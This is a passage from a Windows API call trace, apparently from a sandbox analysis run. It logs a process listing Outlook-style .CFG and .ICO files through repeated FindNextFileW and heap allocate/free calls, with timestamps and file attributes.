ftLastWriteTime.dwLowDateTime=0x44dc4200, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIVITY.CFG", cAlternateFileName="")) returned 1 [0069.773] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.773] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.773] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.773] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.773] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.773] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f8d8 [0069.773] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1079418 [0069.773] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.773] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dc4200, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xcf2890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44dc4200, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x315, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPT.CFG", cAlternateFileName="")) returned 1 [0069.773] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.774] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.774] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.774] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.774] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.774] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f8f8 [0069.774] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.774] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.774] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xd189f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPTL.ICO", cAlternateFileName="")) returned 1 [0069.774] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.774] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.774] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.774] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.774] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.774] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f918 [0069.774] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067c40 [0069.775] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.775] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xd189f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPTS.ICO", cAlternateFileName="")) returned 1 [0069.775] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.775] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.775] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.775] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.775] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.775] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f938 [0069.775] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067cc8 [0069.775] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.775] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dc4200, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xd189f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44dc4200, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNFNOT.CFG", cAlternateFileName="")) returned 1 [0069.775] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.775] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.775] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.775] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.775] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.776] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f958 [0069.776] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1079628 [0069.776] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.776] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec8ed400, ftCreationTime.dwHighDateTime=0x1c68837, ftLastAccessTime.dwLowDateTime=0xd189f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec8ed400, ftLastWriteTime.dwHighDateTime=0x1c68837, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNFNOT.ICO", cAlternateFileName="")) returned 1 [0069.776] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.776] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.776] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.776] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.776] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.776] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f978 [0069.776] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1079520 [0069.776] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.776] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dc4200, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xd189f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44dc4200, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNFRES.CFG", cAlternateFileName="")) returned 1 [0069.776] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.777] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.777] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.777] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.777] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.777] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f998 [0069.777] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1079838 [0069.777] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.777] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xd3eb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONFLICT.ICO", cAlternateFileName="")) returned 1 [0069.777] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.777] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.777] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.777] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.777] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.777] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f9b8 [0069.777] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1079940 [0069.777] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40c0) returned 0x107ba48 [0069.778] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1758048) returned 1 [0069.778] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.778] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dc4200, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xd3eb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44dc4200, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x30f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTACT.CFG", cAlternateFileName="")) returned 1 [0069.778] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.778] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.778] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.778] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.778] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.778] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f9d8 [0069.778] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1079a48 [0069.778] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.778] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xd3eb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTACTL.ICO", cAlternateFileName="")) returned 1 [0069.778] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.778] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.778] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.778] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f9f8 [0069.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1079b50 [0069.779] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.779] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xd3eb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTACTS.ICO", cAlternateFileName="")) returned 1 [0069.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.779] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.779] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106fa18 [0069.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1079c58 [0069.779] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.779] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460d6f00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x460d6f00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x325, dwReserved0=0x0, dwReserved1=0x0, cFileName="DISTLIST.CFG", cAlternateFileName="")) returned 1 [0069.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.779] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.780] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.780] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.780] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.780] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106fa38 [0069.780] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1079d60 [0069.780] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.780] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="DISTLSTL.ICO", cAlternateFileName="")) returned 1 [0069.780] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.780] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.780] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.780] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.780] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.780] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106fa58 [0069.780] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1079e68 [0069.780] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.780] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DISTLSTS.ICO", cAlternateFileName="")) returned 1 [0069.781] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.781] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.781] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.781] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.781] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.781] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106fa78 [0069.781] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1079f70 [0069.781] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.781] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460d6f00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x460d6f00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x2fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOC.CFG", cAlternateFileName="")) returned 1 [0069.781] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.781] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.781] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.781] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.781] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.781] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106fa98 [0069.781] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067d50 [0069.782] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.782] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOCL.ICO", cAlternateFileName="")) returned 1 [0069.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.782] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.782] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106fab8 [0069.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067dd8 [0069.782] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.782] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOCS.ICO", cAlternateFileName="")) returned 1 [0069.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.782] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.782] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106fad8 [0069.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067e60 [0069.783] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.783] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x473e9c00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x473e9c00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x346, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXITEM.CFG", cAlternateFileName="")) returned 1 [0069.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.783] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.783] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106faf8 [0069.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x107a078 [0069.783] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.783] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXITEML.ICO", cAlternateFileName="")) returned 1 [0069.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.783] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.784] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.784] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.784] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106fb18 [0069.784] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x107a180 [0069.784] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.784] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXITEMS.ICO", cAlternateFileName="")) returned 1 [0069.784] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.784] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.784] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067bb8 [0069.784] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.784] RtlAllocateHeap 